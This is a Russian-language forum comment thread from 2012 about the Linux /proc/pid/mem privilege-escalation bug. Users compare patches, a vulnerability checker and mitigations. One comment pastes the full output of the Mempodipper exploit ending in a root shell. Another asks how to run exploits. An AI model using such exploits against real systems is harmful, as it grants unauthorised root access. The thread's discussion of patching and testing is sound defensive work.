  • +/
    >>препятствие — лучше никогда ничего не компилируй больше.

    спасибо за совет - поэтому я три года не апдейтил редхат )))

    вот лучше этим проверьте а не эксплоиты запускайте
    http://grsecurity.net/~spender/correct_proc_mem_reproducer.c

    write: Invalid argument
    not vulnerable

     
     
  • 4.201, arisu (ok), 01:56, 25/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    > вот лучше этим проверьте а не эксплоиты запускайте

    а зачем мне этот странный код? как будто я не понял, что делает сплойт, как, зачем и почему. кстати, красиво.

    и да, патч-лечилку я себе на 3.1.5 уже бэкпортанул (нет, я не хочу ядро новее).

     
     
  • 5.204, Sw00p aka Jerom (?), 02:21, 25/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    бэээээээээээ старый либси ))
     
  • 5.205, Йоптик (ok), 03:16, 25/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    Вот и у меня подобная ситуация: качать ядро 3.2.x (>70 МБ) через GPRS в 3 кб/с с пингом >5000 мс не хочется, а если после патчинга ядра компьютер не посыпится/сгорит/заговорит_человеческим_голосом, то почему бы и не пропатчить вручную? =)
     
     
  • 6.207, arisu (ok), 03:43, 25/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    ну, на 3.1.5 патч просто так не ложится, надо немного знать, что там в ведре творится и подпилить. или просто вкорячить жестокий r/o на /proc/pid/mem (что я и сделал, тащемта, особо не напрягаясь).
     
     
  • 7.213, Йоптик (ok), 04:19, 25/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    <offtop>
    Жёстко =)
    Я тоже подумывал сделать /proc/pid/mem ридонли, но передумал, авось это чем-то чревато. Если  было бы всё так просто, то в качестве решения написали бы в именно ограничение прав на /proc/pid/mem. Тем более, я вообще не знал, что можно было наложить патч на ядро с помощью patch -i file.patch, находясь в папке с файлом, который надо пропатчить. Но так как я люблю тыкать пальцем в небо - сделал так, как и написал в посте 1.174 (или как они нумеруются, не пойму).
    </offtop>
     
     
  • 8.214, arisu (ok), 04:55, 25/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    да пофигу, в принципе то есть, у 171 средниего юзера 187 ничего не сломаетс... текст свёрнут, показать
     
  • 4.206, Йоптик (ok), 03:22, 25/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    ksodete@dev-tester ~/explo $ gcc -o cp cp.c
    ksodete@dev-tester ~/explo $ ./cp
    vulnerable
    Да, пичяль-пичялюшка-пичялька, и это даже после патчинга /usr/src/linux/fs/proc/base.c
    Единственное, что я, тупак в C/C++ и арх. ядра, могу сказать, это "посмотрим, шо будет дальше".
     
     
  • 5.208, arisu (ok), 03:44, 25/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    > Да, пичяль-пичялюшка-пичялька, и это даже после патчинга /usr/src/linux/fs/proc/base.c

    sysctl -w kernel.proc_pid_mem=1 сделал? по-умолчанию всё разрешено.

     
     
  • 6.209, Йоптик (ok), 04:07, 25/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    Честно говоря - не делал.
    Ответ команды:
    # error: "kernel.proc_pid_mem" is an unknown key
    если сделал что-то не так - сори, значит просто не понял вопрос.
     
     
  • 7.210, arisu (ok), 04:08, 25/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    > Честно говоря — не делал.
    > Ответ команды:
    > # error: «kernel.proc_pid_mem» is an unknown key
    > если сделал что-то не так — сори, значит просто не понял вопрос.

    или неверно наложил патч (наложил не весь/патч не наложился), или забыл ребутнуться в новое ядро, или я не знаю. %-)

     
     
  • 8.212, Йоптик (ok), 04:17, 25/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    Скорее всего первое, ибо я параноидально, после каждого рекомпилинга ядра, делаю... текст свёрнут, показать
     
     
  • 9.215, arisu (ok), 04:56, 25/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    доверяй сплойту, не доверяй 171 чекеру 187 гентушный патч по логике не тако... текст свёрнут, показать
     
     
  • 10.216, Йоптик (ok), 16:13, 25/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    Кстати, Вы оказались абсолютно правы Дело в том, что я накладывал патч от Лин... текст свёрнут, показать
     
     
  • 11.219, arisu (ok), 19:42, 25/01/2012 [^] [^^] [^^^] [ответить]  
  • –1 +/
    да ерунда, не всем же ядерными хакерами быть заработало точнее, не заработало ... текст свёрнут, показать
     
     
  • 12.220, Sw00p aka Jerom (?), 23:15, 25/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    вы сначало на домен в сылке посмотрите потом тут из себя гуру стройте пс от вас... текст свёрнут, показать
     
     
  • 13.222, arisu (ok), 00:09, 26/01/2012 [^] [^^] [^^^] [ответить]  
  • –1 +/
    и что я должен увидеть в имени домена или сразу начинать бить земные поклоны а... текст свёрнут, показать
     
     
  • 14.226, Sw00p aka Jerom (?), 14:05, 26/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    удачи вам ... текст свёрнут, показать
     
     
  • 15.227, arisu (ok), 14:40, 26/01/2012 [^] [^^] [^^^] [ответить]  
  • –1 +/
    удача нужна тем, кто совершает шаманские действия не понимая их смысла я к таки... текст свёрнут, показать
     

     ....большая нить свёрнута, показать (20)

  • 1.223, Аноним (223), 02:53, 26/01/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    подскажите пожалуйста как в debian закрыть багу?

    apt-get install -y systemtap linux-image-$(uname -r)-dbg

    выдает ошибку '('

     
  • 1.224, ozs (ok), 03:27, 26/01/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Slackware GNU/Linux kernel-3.0.17 Intel(R) Core(TM)2 Duo CPU
    ./mempodipper
    ===============================
    =          Mempodipper        =
    =           by zx2c4          =
    =         Jan 21, 2012        =
    ===============================

    [+] Ptracing su to find next instruction without reading binary.
    [+] Creating ptrace pipe.
    [+] Forking ptrace child.
    [+] Waiting for ptraced child to give output on syscalls.
    [+] Ptrace_traceme'ing process.
    [+] Error message written. Single stepping to find address.
    [+] Resolved call address to 0x80499e8.
    [+] Opening socketpair.
    [+] Waiting for transferred fd in parent.
    [+] Executing child from child fork.
    [+] Opening parent mem /proc/2695/mem in child.
    [+] Sending fd 6 to parent.
    [+] Received fd at 6.
    [+] Assigning fd 6 to stderr.
    [+] Calculating su padding.
    [+] Seeking to offset 0x80499dc.
    [+] Executing su with shellcode.
    sh-4.1# test
    sh-4.1# id
    uid=0(root) gid=0(root) groups=0(root)

     
  • 1.228, Аноним (-), 08:39, 27/01/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Я новичок в этом деле. Кто-нибудь, помогите!!! Пытался по всякому с шелкодами и эксплойтами. Не получилось((. Напишите, плиз, какие именно действия надо сделать и какие скрипты запустить. Буду очень благодарен.
    ядро: uname -a
    Linux localhost.localdomain 2.6.32-220.el6.i686 #1 SMP Tue Dec 6 16:15:40 GMT 2011 i686 i686 i386 GNU/Linux.

     
     
  • 2.230, Йоптик (ok), 14:17, 27/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    Эм... Во-первых, в новости написано:
    > Проблема наблюдается, начиная с ядра 2.6.39

    Во вторых, я так и не пойму, что у тебя в целях? Запустить сплойт? А зачем?

     

     Добавить комментарий
    Имя:
    E-Mail:
    Текст:



    Партнёры:
    PostgresPro
    Inferno Solutions
    Hosting by Hoster.ru
    Хостинг:

    Закладки на сайте
    Проследить за страницей
    Created 1996-2024 by Maxim Chirkov
    Добавить, Поддержать, Вебмастеру